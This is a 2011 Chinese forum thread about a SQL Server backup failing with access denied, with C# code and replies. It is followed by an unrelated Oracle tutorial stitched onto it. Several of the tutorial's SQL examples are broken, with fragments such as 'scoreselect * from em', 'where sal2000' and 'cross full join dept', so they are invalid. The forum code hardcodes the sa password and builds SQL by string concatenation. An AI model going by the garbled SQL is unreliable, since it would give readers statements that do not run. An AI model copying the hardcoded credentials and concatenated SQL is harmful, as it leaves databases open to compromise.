求助:无法打开备份设备 'C:\Documents and Settings\Administrator\桌面\Check'。出现操作系统错误 5(拒绝访问。)

wang729786478 2011-03-01 10:52:41

private void btnGo_Click(object sender, EventArgs e)
{
this.txtFile.Text = this.folderBrowserDialog1.SelectedPath.ToString().Trim();
string saveAway = this.txtFile.Text;
string cmdText = @"backup database ERP_DB to disk='" + saveAway + "'";
BakReductSql(cmdText, true);

}

private void BakReductSql(string cmdText, bool isBak)
{
SqlCommand cmdBakRst = new SqlCommand();
SqlConnection conn = new SqlConnection("Data Source=WANGKAI;Initial Catalog=ERP_DB;uid=sa;pwd=sasa;");
try
{
conn.Open();
cmdBakRst.Connection = conn;
cmdBakRst.CommandType = CommandType.Text;

cmdBakRst.CommandText = cmdText;
cmdBakRst.ExecuteNonQuery();
MessageBox.Show("恭喜，你已经成功备份当前数据！", "系统消息");

}
catch (Exception ex)
{

MessageBox.Show("对不起，操作失败", "系统消息");
}
finally
{
cmdBakRst.Dispose();
conn.Close();
conn.Dispose();
}
}

昨天一下午解决这个问题..始终找不到原因,还是请各位兄弟帮个忙,麻烦指点下吧

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yan123heli 2011-03-01

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账号可能没有访问磁盘的权限问题，以前我也遇到过，我那个主要是因为要操作的是远程数据库，不能访问本地磁盘,如果你是本地的，建议在网上找找如何配置处理这个问题

wang729786478 2011-03-01

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这个..我不太明白楼上两位什么意思

hhwei1985 2011-03-01

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[Quote=引用 4 楼 wuyq11 的回复:]
帐号可能没有访问磁盘的权限,换个用户试下
什么系统
[/Quote].

wang729786478 2011-03-01

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4#
xp的系统

wuyq11 2011-03-01

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帐号可能没有访问磁盘的权限,换个用户试下
什么系统

wang729786478 2011-03-01

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2#
我在本地备份,文件夹也是刚才新建的一个,怎么会没有权限呢

xiaocui2007 2011-03-01

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说明该文件被其他软件保护，访问权限受限！

wang729786478 2011-03-01

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不要沉..不要沉

wang729786478 2011-03-01

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不好意思..我点错了..大家没分了

wang729786478 2011-03-01

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结贴结贴..最后查出原因是必须给备份的数据库一个名字,否则会出错的,哎..太悲剧咯

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在运行services.msc打开服务，停止Oracle的所有服务。 2. oracle11G自带一个卸载批处理\app\Administrator\product\11.2.0\dbhome_1\deinstall\deinstall.bat 3. 运行该批处理程序将自动完成oracle卸载工作，最后手动删除\app文件夹（可能需要重启才能删除） 4. 运行regedit命令，打开注册表窗口。删除注册表中与Oracle相关的内容，具体如下：  删除HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE目录。  删除HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services中所有以oracle或OraWeb为开头的键。  删除HKEY_LOCAL_MACHINE/SYSETM/CurrentControlSet/Services/Eventlog/application中所有以oracle开头的键。  删除HKEY_CLASSES_ROOT目录下所有以Ora、Oracle、Orcl或EnumOra为前缀的键。  删除HKEY_CURRENT_USER/SOFTWARE/Microsoft/windows/CurrentVersion/Explorer/MenuOrder/Start Menu/Programs中所有以oracle 开头的键。  删除HKDY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI中除Microsoft ODBC for Oracle注册表键以外的所有含有Oracle的键。  删除环境变量中的PATHT CLASSPATH中包含Oracle的值。  删除“开始”/“程序”中所有Oracle的组和图标。  删除所有与Oracle相关的目录，包括： C:\Program file\Oracle目录。 ORACLE_BASE目录。 C:\Documents and Settings\系统用户名、LocalSettings\Temp目录下的临时文件。七、 oracle中的数据库八、常用的工具  Sql Plus  Sql Developer  Oracle Enterprise Manager 第二章用户和权限一、用户介绍 ORACLE用户是学习ORACLE数据库中的基础知识，下面就介绍下类系统常用的默认ORACLE用户: 1. sys用户：超级用户，完全是个SYSDBA(管理数据库的人)。拥有dba，sysdba，sysoper等角色或权限。是oracle权限最高的用户，登录时不能用normal。 2. system用户：超级用户，默认是SYSOPT(操作数据库的人)，不过它也能以SYSDBA的权限登陆。拥有普通dba角色权限。 3. scott用户：是个演示用户，是让你学习Oracle用的。二、常用命令学习oracle，首先我们必须要掌握常用的基本命令，oracle中的命令比较多，常用的命令如下： 1. 登录命令(sqlplus) 说明：用于登录到oracle数据库用法：sqlplus 用户名/密码 [as sysdba/sysoper] 注意：当用特权用户登录时，必须带上sysdba或sysoper 例子：普通用户登录 sys用户登录 操作系统的身份登录 2. 连接命令(conn) 说明：用于连接到oracle数据库，也可实现用户的切换用法：conn 用户名/密码 [as sysdba/sysoper] 注意：当用特权用户连接时，必须带上sysdba或sysoper 例子： 3. 断开连接(disc) 说明：断开与当前数据库的连接用法：disc 4. 显示用户名(show user) 说明：显示当前用户名用法：show user 5. 退出(exit) 说明：断开与当前数据库的连接并会退出用法：exit 6. 编辑脚本(edit/ed) 说明：编辑指定或缓冲区的sql脚本用法：edit [文件名] 列子： 7. 运行脚本 (start/@) 说明：运行指定的sql脚本用法：start/@ 文件名列子： 8. 印刷屏幕 (spool) 说明：将sql*plus屏幕中的内容输出到指定的文件用法：开始印刷->spool 文件名结束印刷->spool off 列子：文件内容 9. 显示宽度 (linesize) 说明：设置显示行的宽度，默认是80个字符用法：set linesize 120 10. 显示页数 (pagesize) 说明：设置每页显示的行数，默认是14页用法：set pagesize 20 三、用户管理 1. 创建用户说明：Oracle中需要创建用户一定是要具有dba(数据库管理员)权限的用户才能创建，而且创建的新用户不具备任何权限，连登录都不可以。用法：create user 新用户名 identified by 密码例子： 2. 修改密码说明：修改用户密码一般有两种方式，一种是通过命令password修改，另一种是通过语句alter user实现，如果要修改他人的密码，必须要具有相关的权限才可以用法：方式一 password [用户名] 方式二 alert user 用户名 identified by 新密码例子：修改当前用户(方式一) 修改当前用户(方式二) 修改其他用户(方式一) 修改其他用户(方式二) 3. 用户禁用与启用说明：Oracle中想要禁用或启用一个账户也同样是使用alter user 命令来完成，只是语法和修改密码有所不同。用法：禁用 alert user 用户名 account lock 启用 alert user 用户名 account unlock 4. 删除用户说明：Oracle中要删除一个用户，必须要具有dba的权限。而且不能删除当前用户，如果删除的用户有数据对象，那么必须加上关键字cascade。用法：drop user 用户名 [cascade] 四、用户权限与角色 1. 权限 Oracle中权限主要分为两种，系统权限和实体权限。  系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。  DBA: 拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构。  RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构。  CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创建实体，不可以创建数据库结构。注意：对于普通用户：授予connect, resource权限。对于DBA管理用户：授予connect，resource, dba权限。  授予系统权限说明：要实现授予系统权限只能由DBA用户授出。用法：grant 系统权限1[,系统权限2]… to 用户名1[,用户名2]…. 例子：  系统权限回收：说明：系统权限只能由DBA用户回收用法：revoke 系统权限 from 用户名例子：  实体权限：某种权限用户对其它用户的表或视图的存取权限。（是针对表或视图而言的）。主要包括select, update, insert, alter, index, delete, all其中all包括所有权限。  授予实体权限用法：grant 实体权限1[,实体权限2]… on 表名 to用户名1[,用户名2]…. 例子：  实体权限回收用法：revoke 实体权限 on 表名from 用户名例子：  查询用户拥有哪里权限： SQL> select * from role_tab_privs;//查询授予角色的对象权限 SQL> select * from role_role_privs;//查询授予另一角色的角色 SQL> select * from DBA_tab_privs;//查询直接授予用户的对象权限 SQL> select * from dba_role_privs;//查询授予用户的角色 SQL> select * from dba_sys_privs;//查询授予用户的系统权限 SQL> select * from role_sys_privs;//查询授予角色的系统权限 SQL> Select * from session_privs;// 查询当前用户所拥有的权限 2. 角色角色。角色是一组权限的集合，将角色赋给一个用户，这个用户就拥有了这个角色中的所有权限。  系统预定义角色预定义角色是在数据库安装后，系统自动创建的一些常用的角色。下面我们就简单介绍些系统角色：  CONNECT, RESOURCE, DBA这些预定义角色主要是为了向后兼容。其主要是用于数据库管理。oracle建议用户自己设计数据库管理和安全的权限规划，而不要简单的使用这些预定角色。将来的版本中这些角色可能不会作为预定义角色。  DELETE_CATALOG_ROLE， EXECUTE_CATALOG_ROLE，SELECT_CATALOG_ROLE这些角色主要用于访问数据字典视图和包。  EXP_FULL_DATABASE， IMP_FULL_DATABASE这两个角色用于数据导入导出工具的使用。  自定义角色 Oracle建议我们自定义自己的角色，使我们更加灵活方便去管理用户  创建角色 SQL> create role admin;  授权给角色 SQL> grant connect,resource to admin;  撤销角色的权限 SQL> revoke connect from admin;  删除角色 SQL> drop role admin; 第三章 Sql查询与函数一、 SQL概述 SQL（Structured Query Language)结构化查询语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。  SQL语言主要包含5个部分  数据定义语言Data Definition Language(DDL），用来建立数据库、数据对象和定义其列。例如：CREATE、DROP、ALTER等语句。  数据操作语言Data Manipulation Language(DML），用来插入、修改、删除、查询，可以修改数据库中的数据。例如：INSERT（插入）、UPDATE（修改）、DELETE（删除）语句  数据查询语言 (Data Query Language, DQL) 是SQL语言中，负责进行数据查询而不会对数据本身进行修改的语句，这是最基本的SQL语句。例如：SELECT（查询）  数据控制语言Data Controlling Language（DCL），用来控制数据库组件的存取允许、存取权限等。例如：GRANT、REVOKE、COMMIT、ROLLBACK等语句。  事务控制语言（Transactional Control Language，TCL），用于维护数据的一致性，包括COMMIT（提交事务）、ROLLBACK（回滚事务）和SAVEPOINT（设置保存点）3条语句二、 Oracle的数据类型类型参数描述字符类型 char 1~2000字节固定长度字符串，长度不够的用空格补充 varchar2 1~4000字节可变长度字符串，与CHAR类型相比，使用VARCHAR2可以节省磁盘空间，但查询效率没有char类型高数值类型 Number(m,n) m(1~38) n(-84~127) 可以存储正数、负数、零、定点数和精度为38位的浮点数，其中，M表示精度，代表数字的总位数；N表示小数点右边数字的位数日期类型 date 7字节用于存储表中的日期和时间数据，取值范围是公元前4712年1月1日至公元9999年12月31日，7个字节分别表示世纪、年、月、日、时、分和秒二进制数据类型 row 1~2000字节可变长二进制数据，在具体定义字段的时候必须指明最大长度n long raw 1~2GB 可变长二进制数据 LOB数据类型 clob 1~4GB 只能存储字符数据 nclob 1~4GB 保存本地语言字符集数据 blob 1~4GB 以二进制信息保存数据三、 DDL语言 1. Create table命令用于创建表。在创建表时，经常会创建该表的主键、外键、唯一约束、Check约束等  语法结构 create table 表名( [字段名] [类型] [约束] ……….. CONSTRAINT fk_column FOREIGN KEY(column1,column2,…..column_n) REFERENCES tablename(column1,column2,…..column_n) )  例子： create table student( stuNo char(32) primary key,--主键约束 stuName varchar2(20) not null,--非空约束 cardId char(20) unique,--唯一约束 sex char(2) check(sex='男' or sex='女'),--检查约束 address varchar2(100) default '地址不详'--默认约束 ) create table mark( mid int primary key,--主键约束 stuNo char(32) not null, courseName varchar2(20) not null,--非空约束 score number(3) not null check(score>=0 and scoreselect * from em--查询所有数据 SQL>select ename,job from em--查询指定的字段数据 SQL> select * from emp where sal>1000--加条件 2. 聚合函数聚合函数对一组值执行计算并返回单一的值。聚合函数忽略空值。聚合函数经常与 SELECT 语句的 GROUP BY 子句一同使用。不能在 WHERE 子句中使用组函数。  AVG(expression): 返回集合中各值的平均值 --查询所有人都的平均工资 select avg(sal) from emp  COUNT(expression): 以 Int32 形式返回集合中的项数 --查询工资低于2000的人数 select count(*) from emp where sal2000 5. 连接查询连接查询是关系数据库中最主要的查询，主要包括内连接、外连接和交叉连接等。通过连接运算符可以实现多个表查询。  内连接内连接也叫连接，是最早的一种连接。还可以被称为普通连接或者自然连接，内连接是从结果表中删除与其他被连接表中没有匹配行的所有行，所以内连接可能会丢失信息。  等值连接: select * from emp inner join dept on emp.deptno=dept.deptno select * from emp,dept where emp.deptno=dept.deptno  不等值连接: select * from emp inner join dept on emp.deptno!=dept.deptno  外连接外连接分为三种：左外连接，右外连接，全外连接。对应SQL：LEFT/RIGHT/FULL OUTER JOIN。通常我们省略outer 这个关键字。写成：LEFT/RIGHT/FULL JOIN。  左外连接(left join): 是以左表的记录为基础的 select * from emp left join dept on emp.deptno=dept.deptno  右外连接(right join): 和left join的结果刚好相反,是以右表(BL)为基础的 select * from emp right join dept on emp.deptno=dept.deptno  全外连接(full join): 左表和右表都不做限制，所有的记录都显示，两表不足的地方用null 填充 select * from emp full join dept on emp.deptno=dept.deptno  交叉连接交叉连接即笛卡儿乘积，是指两个关系中所有元组的任意组合。一般情况下，交叉查询是没有实际意义的。 select * from cross full join dept 6. 常用查询  like模糊查询 --查询姓名首字母为S开始的员工信息 select * from emp where ename like 'S%' --查询姓名第三个字母为A的员工信息 select * from emp where ename like '__A%'  is null/is not null 查询 --查询没有奖金的雇员信息 select * from emp where comm is null --查询有奖金的雇员信息 select * from emp where comm is not null  in查询 --查询雇员编号为7566、7499、7844的雇员信息 select * from emp where empno in(7566,7499,7844)  exists/not exists查询(效率高于in) --查询有上级领导的雇员信息 select * from emp e where exists (select * from emp where empno=e.mgr) --查询没有上级领导的雇员信息 select * from emp e where not exists (select * from emp where empno=e.mgr)  all查询 --查询比部门编号为20的所有雇员工资都高的雇员信息 select * from emp where sal > all(select sal from emp where deptno=20)  union合并不重复 select * from emp where comm is not null union select * from emp where sal>3000  union all合并重复 select * from emp where comm is not null union all select * from emp where sal>3000 7. 子查询当一个查询是另一个查询的条件时，称之为子查询。子查询是一个 SELECT 语句，它嵌套在一个 SELECT、SELECT...INTO 语句、INSERT...INTO 语句、DELETE 语句、或 UPDATE 语句或嵌套在另一子查询中。  在CREATE TABLE语句中使用子查询 --创建表并拷贝数据 create table temp(id,name,sal) as select empno,ename,sal from emp  在INSERT语句中使用子查询 --当前表拷贝 insert into temp(id,name,sal) select * from temp --从其他表指定字段拷贝 insert into temp(id,name,sal) select empno,ename,sal from emp  在DELETE语句中使用子查询 --删除SALES部门中的所有雇员 delete from emp where deptno in (select deptno from dept where dname='SALES')  在UPDATE语句中使用子查询 --修改scott用户的工资和smith的工资一致 update emp set sal=(select sal from emp where ename='SMITH') where ename='SCOTT' --修改black用户的工作,工资,奖金和scott一致 update emp set(job,sal,comm)=(select job,sal,comm from emp where ename='SCOTT') where ename='BLAKE'  在SELECT语句中使用子查询 --查询和ALLEN同一部门的员工信息 select * from emp where deptno in (select deptno from emp where ename='ALLEN') --查询工资大于部门平均工资的雇员信息 select * from emp e (select avg(sal) asal,deptno from emp group by deptno) t where e.deptno=t.deptno and e.sal>t.asal 六、 TCL语言 1. COMMIT commit --提交事务 2. ROLLBACK rollback to p1 --回滚到指定的保存点 rollback --回滚所有的保存点 3. SAVEPOINT savepoint p1 --设置保存点 4. 只读事务只读事务是指只允许执行查询的操作，而不允许执行任何其它dml操作的事务，它的作用是确保用户只能取得某时间点的数据。 set transaction read only 七、 oracle函数 1. 字符串函数字符串函数是oracle中比较常用的，下面我们就介绍些常用的字符串函数:  concat：字符串连接函数，也可以使用’||’ --将职位和雇员名称显示在一列中 select concat(ename,concat('(',concat(job,')'))) from emp select ename || '(' || job || ')' from emp  length：返回字符串的长度 --查询雇员名字长度为5个字符的信息 select * from emp where length(ename)=5  lower：将字符串转换成小写 --以小写方式显示雇员名 select lower(ename) from emp  upper：将字符串转换成大写 --以大写方式显示雇员名 select upper (ename) from emp  substr：截取字符串 --只显示雇员名的前3个字母 select substr(ename,0,3) from emp  replace：替换字符串 --将雇员的金额显示为*号 select ename,replace(sal,sal,’*’) from emp  instr：查找字符串 --查找雇员名含有’LA’字符的信息 select * from emp where instr(ename,’LA’)>0 2. 日期函数  sysdate：返回当前session所在时区的默认时间 --获取当前系统时间 select sysdate from dual  add_months：返回指定日期月份+n之后的值，n可以为任何整数 --查询当前系统月份+2的时间 select add_months(sysdate,2) from dual --查询当前系统月份-2的时间 select add_months(sysdate,-2) from dual  last_day：返回指定时间所在月的最后一天 --获取当前系统月份的最后一天 select last_day(sysdate) from dual  months_between：返回月份差，结果可正可负，当然也有可能为0 --获取入职日期距离当前时间多少天 select months_between(sysdate, hiredate) from emp  trunc：为指定元素而截去的日期值 --获取当前系统年，其他默认 select trunc(sysdate,'yy') from dual --查询81年2月份入职的雇员 select * from emp where trunc(hiredate,'mm')=trunc(to_date('1981-02','yyyy-mm'),'mm') 3. 转换函数  to_char：将任意类型转换成字符串 --日期转换 select to_char(sysdate, 'yyyy-mm-dd hh24:mi:ss') from dual --数字转换 select to_char(-100.789999999999,'L99G999D999') from dual  数字格式控制符符号描述 9 代表一位数字，如果当前位有数字，显示数字，否则不显示(小数部分仍然会强制显示) 0 强制显示该位，如果当前位有数字，显示数字，否则显示0 $ 增加美元符号显示 L 增加本地货币符号显示 . 小数点符号显示 , 千分位符号显示  to_date：将字符串转换成日期对象 --字符转换成日期 select to_date('2011-11-11 11:11:11', 'yyyy-mm-dd hh24:mi:ss') from dual  to_number：将字符转换成数字对象 --字符转换成数字对象 select to_number('209.976')*5 from dual select to_number('209.976', '9G999D999')*5 from dual 4. 数学函数  abs：返回数字的绝对值 select abs(-1999) from dual  ceil：返回大于或等于n的最小的整数值 select ceil(2.48) from dual  floor：返回小于等于n的最大整数值 select floor(2.48) from dual  round：四舍五入 select round(2.48) from dual select round(2.485,2) from dual  bin_to_num：二进制转换成十进制 select bin_to_num(1,0,0,1,0) from dual 第四章锁一、概述锁是实现数据库并发控制的一个非常重要的技术。当事务在对某个数据对象进行操作前，先向系统发出请求，对其加锁。加锁后事务就对该数据对象有了一定的控制，在该事务释放锁之前，其他的事务不能对此数据对象进行更新操作。在数据库中有两种基本的锁类型：排它锁（Exclusive Locks，即X锁）和共享锁（Share Locks，即S锁）。当数据对象被加上排它锁时，其他的事务不能对它读取和修改。加了共享锁的数据对象可以被其他事务读取，但不能修改。根据保护的对象不同，Oracle数据库锁可以分为以下几大类：  DML锁（data locks，数据锁），用于保护数据的完整性  DDL锁（dictionary locks，字典锁），用于保护数据库对象的结构，如表、索引等的结构定义  内部锁和闩（internal locks and latches），保护数据库的内部结构二、 DML锁 DML锁的目的在于保证并发情况下的数据完整性，在Oracle数据库中，DML锁主要包括TM锁和TX锁，其中TM锁称为表级锁，TX锁称为事务锁或行级锁。 1. 行级锁当事务执行数据库插入、更新、删除操作时，该事务自动获得操作表中操作行的排它锁 --不允许其他用户对雇员表的部门编号为20的数据进行修改 select * from emp where deptno=20 for update --不允许其他用户对雇员表的所有数据进行修改 select * from emp for update --如果已经被锁定，就不用等待 select * from emp for update nowait --如果已经被锁定，更新的时候等待5秒 select * from emp for update wait 5 2. 锁模式  0(none)  1(null)  2(rs)：行共享  3(rx)：行排他  4(s)：共享  5(srx)：共享行排他  6(x)：排他数字越大，锁级别越高 3. 表级锁当事务获得行锁后，此事务也将自动获得该行的表锁(行排他),以防止其它事务进行DDL语句影响记录行的更新  行共享锁(RS锁)：允许用户进行任何操作，禁止排他锁 lock table emp in row share mode  行排他锁(RX锁)：允许用户进行任何操作，禁止共享锁 lock table emp in row exclusive mode  共享锁(R锁)：其他用户只能看，不能修改 lock table emp in share mode  排他锁(X锁)：其他用户只能看，不能修改，不能加其他锁 lock table emp in exclusive mode  共享行排他(SRX锁)：比行排他和共享锁级别高，不能添加共享锁 lock table emp in share row exclusive mode 4. 锁兼容性 S X RS RX SRX N/A S Y N Y N N Y X N N N N N Y RS Y N Y Y Y Y RX N N Y Y N Y SRX N N Y N N Y N/Y Y Y Y Y Y Y 5. 死锁当两个事务需要一组有冲突的锁，而不能将事务继续下去的话，就出现死锁。 1) 用户A修改A表，事务不提交 2) 用户B修改B表，事务不提交 3) 用户A修改B表，阻塞 4) 用户B修改A表，阻塞 Oracle系统能自动发现死锁，并会自动选择工作量最少的事务进行撤销和释放所有锁 6. 悲观锁和乐观锁数据的锁定分为两种方法，第一种叫做悲观锁，第二种叫做乐观锁  悲观锁：就是对数据的冲突采取一种悲观的态度，也就是说假设数据肯定会冲突，所以在数据开始读取的时候就把数据锁定住。  乐观锁：就是认为数据一般情况下不会造成冲突，所以在数据进行提交更新的时候，才会正式对数据的冲突与否进行检测，如果发现冲突了，则让用户返回错误的信息，让用户决定如何去做。三、 DDL锁 1. 排它DDL锁创建、修改、删除一个数据库对象的DDL语句获得操作对象的排它锁。 2. 共享DDL锁需在数据库对象之间建立相互依赖关系的DDL语句通常需共享获得DDL锁 3. 分析锁分析锁是一种独特的DDL锁类型，ORACLE使用它追踪共享池对象及它所引用数据库对象之间的依赖关系四、内部锁和闩这是ORACLE中的一种特殊锁，用于顺序访问内部系统结构。当事务需向缓冲区写入信息时，为了使用此块内存区域，ORACLE首先必须取得这块内存区域的闩锁，才能向此块内存写入信息。第五章数据库对象一、概述 ORACLE数据库主要有如下数据库对象：  tablespace and datafile(表空间和数据文件)  table(表)  constraints(约束)  index(索引)  view(试图)  sequence(序列)  synonyms(同义词)  DB-link(数据库链路) 二、表空间和数据文件表空间是数据库的逻辑组成部分，从物理上讲，数据库数据是存放在数据文件中，从逻辑上讲数据库则是存放在表空间中，表空间是由一个或多个数据文件组成。  表空间  某一时刻只能属于一个数据库  由一个或多个数据文件组成  可进一步划分为逻辑存储  表空间主要分为两种  System表空间  随数据库创建  包含数据字典  包含system还原段  非system表空间  用于分开存储段  易于空间管理  控制分配给用户的空间量  数据文件  只能属于一个表空间和一个数据库  是方案对象数据的资料档案库  创建表空间  语法 CREATE TABLESPACE tablespacename [DATAFILE clause] [MINIMUM EXTENT integer[k|m]] [BLOCKSIZE integer[k]] [LOGGING|NOLOGGING] [DEFAULT storage_clause] [ONLINE|OFFLINE] [PERMANENT|TEMPORARY] [extent_management_clause] [segment_management_clause]  例子 --创建本地管理表空间 create tablespace firstSpance datafile 'e:/firstspance.dbf'size 100M extent management local uniform size 256k --修改文件大小 alter database datafile 'e:/firstspance.dbf' resize 110m --删除表空间 drop tablespace firstSpance INCLUDING CONTENTS and datafiles --使用数据库表空间 --创建用户指定表空间 create user guest identified by 123456 default tablespace firstSpance --表中指定表空间 create table account( accountid number(4), accountName varchar2(20) )tablespace firstSpance --表空间脱机 alter tablespace firstSpance offline --表空间联机 alter tablespace firstSpance online --表空间只读，不能进行dml操作 alter tablespace firstSpance read only 三、同义词 Oracle数据库中提供了同义词管理的功能。同义词是数据库方案对象的一个别名，经常用于简化对象访问和提高对象访问的安全性。Oracle同义词有两种类型，分别是公用Oracle同义词与私有Oracle同义词。  公有同义词  语法 CREATE [OR REPLACE] PUBLIC SYNONYM sys_name FOR [SCHEMA.] object_name  创建（需拥有CREATE PUBLIC SYNONYM权限才可以创建） --创建同义词 create public synonym syn_emp for scott.emp --访问同义词 select * from syn_emp  删除 drop public synonym syn_emp  私有同义词  语法 CREATE [OR REPLACE] SYNONYM sys_name FOR [SCHEMA.] object_name  创建 --创建同义词 create synonym syn_pri_emp for emp --访问同义词 select * from syn_ pri _emp  删除 drop public synonym syn_emp 四、表分区当表中的数据量不断增大，查询数据的速度就会变慢，应用程序的性能就会下降，这时就应该考虑对表进行分区。表进行分区后，逻辑上表仍然是一张完整的表，只是将表中的数据在物理上存放到多个表空间(物理文件上)，这样查询数据时，不至于每次都扫描整张表。  优点：  改善查询性能：对分区对象的查询可以仅搜索自己关心的分区，提高检索速度。  增强可用性：如果表的某个分区出现故障，表在其他分区的数据仍然可用；  维护方便：如果表的某个分区出现故障，需要修复数据，只修复该分区即可；  均衡I/O：可以把不同的分区映射到磁盘以平衡I/O，改善整个系统性能。  使用场合  表的大小超过2GB  表中包含历史数据，新的数据被增加都新的分区中  常见分区方法:  范围 --- 8  Hash --- 8i  列表 --- 9i  组合 --- 8i 1. 范围分区范围分区将数据基于范围映射到每一个分区，这个范围是你在创建分区时指定的分区键决定的。这种分区方式是最为常用的，并且分区键经常采用日期。  特点:  最早、最经典的分区算法  Range分区通过对分区字段值的范围进行分区  Range分区特别适合于按时间周期进行数据的存储。日、周、月、年等。  数据管理能力强(数据迁移、数据备份、数据交换)  范围分区的数据可能不均匀  范围分区与记录值相关，实施难度和可维护性相对较差  例子  按值划分 --创建 CREATE TABLE book ( bookid NUMBER(5), bookname VARCHAR2(30), price NUMBER(8) )PARTITION BY RANGE (price)--分区字段 ( PARTITION P1 VALUES LESS THAN (4) TABLESPACE system, PARTITION P2 VALUES LESS THAN (8) TABLESPACE system, PARTITION P3 VALUES LESS THAN (maxvalue) TABLESPACE system, ) --MAXVALUE代表了一个不确定的值,这个值高于其它分区中的任何分区键的值  按日期划分 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE (birthday)--分区字段 ( PARTITION P1990 VALUES LESS THAN (to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system, PARTITION P1991 VALUES LESS THAN (to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ); 2. Hash分区(散列分区) 这类分区是在列值上使用散列算法，以确定将行放入哪个分区中。当列的值没有合适的条件时，建议使用散列分区。散列分区为通过指定分区编号来均匀分布数据的一种分区类型。如果你要使用hash分区，只需指定分区的数量即可。建议分区的数量采用2的n次方，这样可以使得各个分区间数据分布更加均匀。  特点  基于分区字段的HASH值，自动将记录插入到指定分区。  分区数一般是2的幂  易于实施  总体性能最佳  适合于静态数据  HASH分区适合于数据的均匀存储  数据管理能力弱  HASH分区对数据值无法控制  例子 CREATE TABLE classes ( clsno NUMBER(5), clsname VARCHAR2(30) )PARTITION BY HASH(clsno)--分区字段 ( PARTITION ph1 tablespace system, PARTITION ph2 tablespace system ) 3. List分区(列表分区) 该分区的特点是某列的值只有几个，基于这样的特点我们可以采用列表分区。  特点  List分区通过对分区字段的离散值进行分区  List分区是不排序的，而且分区之间也没有关联  List分区适合于对数据离散值进行控制  List分区只支持单个字段  List分区具有与range分区相似的优缺点  数据管理能力强  各分区的数据可能不均匀  例子 CREATE TABLE users ( userid NUMBER(5), username VARCHAR2(30), province char(5) )PARTITION BY list(province)--分区字段 ( PARTITION pl1 values('广东') tablespace system, PARTITION pl2 values('江西') tablespace system, PARTITION pl3 values('广西') tablespace system, PARTITION pl4 values('湖南') tablespace system ); 4. 组合分区常见的组合分区主要有范围散列分区和范围列表分区  特点  既适合于历史数据，又适合于数据均匀分布  与范围分区一样提供高可用性和管理性  实现粒度更细的操作  组合范围列表分区这种分区是基于范围分区和列表分区，表首先按某列进行范围分区，然后再按某列进行列表分区，分区之中的分区被称为子分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date, province char(5) )PARTITION BY RANGE (birthday) --主分区字段 subpartition BY LIST(province)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION pl1 values('广东') tablespace system, SUBPARTITION pl2 values('江西') tablespace system, SUBPARTITION pl3 values('广西') tablespace system, SUBPARTITION pl4 values('湖南') tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION p21 values('广东') tablespace system, SUBPARTITION p22 values('江西') tablespace system, SUBPARTITION p23 values('广西') tablespace system, SUBPARTITION p24 values('湖南') tablespace system ) );  组合范围散列分区这种分区是基于范围分区和散列分区，表首先按某列进行范围分区，然后再按某列进行散列分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE(birthday) --主分区字段 SUBPARTITION BY HASH(stuno)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph12 tablespace system, SUBPARTITION ph13 tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph21 tablespace system, SUBPARTITION ph22 tablespace system ) ); 5. 表分区常用操作  添加分区 --添加主分区 alter table book add partition p4 values less than(maxvalue) tablespace system --添加子分区 ALTER TABLE student MODIFY PARTITION P1990 ADD SUBPARTITION pl5 values('福建')  删除分区 --删除主分区 ALTER TABLE student DROP PARTITION P1990 --删除子分区 ALTER TABLE student DROP SUBPARTITION p15  重命名表分区 ALTER TABLE student RENAME PARTITION P21 TO P2  显示数据库所有分区表的信息 select * from DBA_PART_TABLES  显示当前用户所有分区表的信息 select * from USER_PART_TABLES  查询指定表分区数据 select * from users partition(pl2)--主分区 select * from users subpartition(phl2)--子分区  删除分区表一个分区的数据 alter table book truncate partition p11 第六章视图一、概述视图是基于一个表或多个表或视图的逻辑表，本身不包含数据，通过它可以对表里面的数据进行查询和修改。视图基于的表称为基表。视图是存储在数据字典里的一条select语句。通过创建视图可以提取数据的逻辑上的集合或组合。  为什么使用视图  控制数据访问  简化查询  数据独立性  避免重复访问相同的数据  使用修改基表的最大好处是安全性，即保证那些能被任意人修改的列的安全性  Oracle中视图分类  关系视图  内嵌视图  对象视图  物化视图二、关系视图关系视图是作为数据库对象存在的，创建之后也可以通过工具或数据字典来查看视图的相关信息。关系视图是4种视图中最简单，同时也最常用的视图。  语法 CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name [(alias[, alias]...)] AS subquery [WITH CHECK OPTION [CONSTRAINT constraint]] [WITH READ ONLY] 1. OR REPLACE:若所创建的试图已经存在，ORACLE自动重建该视图 2. FORCE:不管基表是否存在ORACLE都会自动创建该视图 3. NOFORCE:只有基表都存在ORACLE才会创建该视图 4. Alias:为视图产生的列定义的别名 5. subquery:一条完整的SELECT语句，可以在该语句中定义别名 6. WITH CHECK OPTION:插入或修改的数据行必须满足视图定义的约束 7. WITH READ ONLY:该视图上不能进行任何DML操作  例子 create or replace view view_Account_dept as select * from emp where deptno=10 --只读视图 create or replace view view_Account_dept as select * from emp where deptno=10 order by sal with read only --约束视图 create or replace view view_Account_dept as select * from emp where deptno=10 with check option  查询视图 select * from emp where view_Account_dept  修改视图通过OR REPLACE 重新创建同名视图即可  删除视图 DROP VIEW VIEW_NAME语句删除视图  视图上的DML 操作原则 1. 简单视图可以执行DML操作； 2. 在视图包含GROUP函数，GROUP 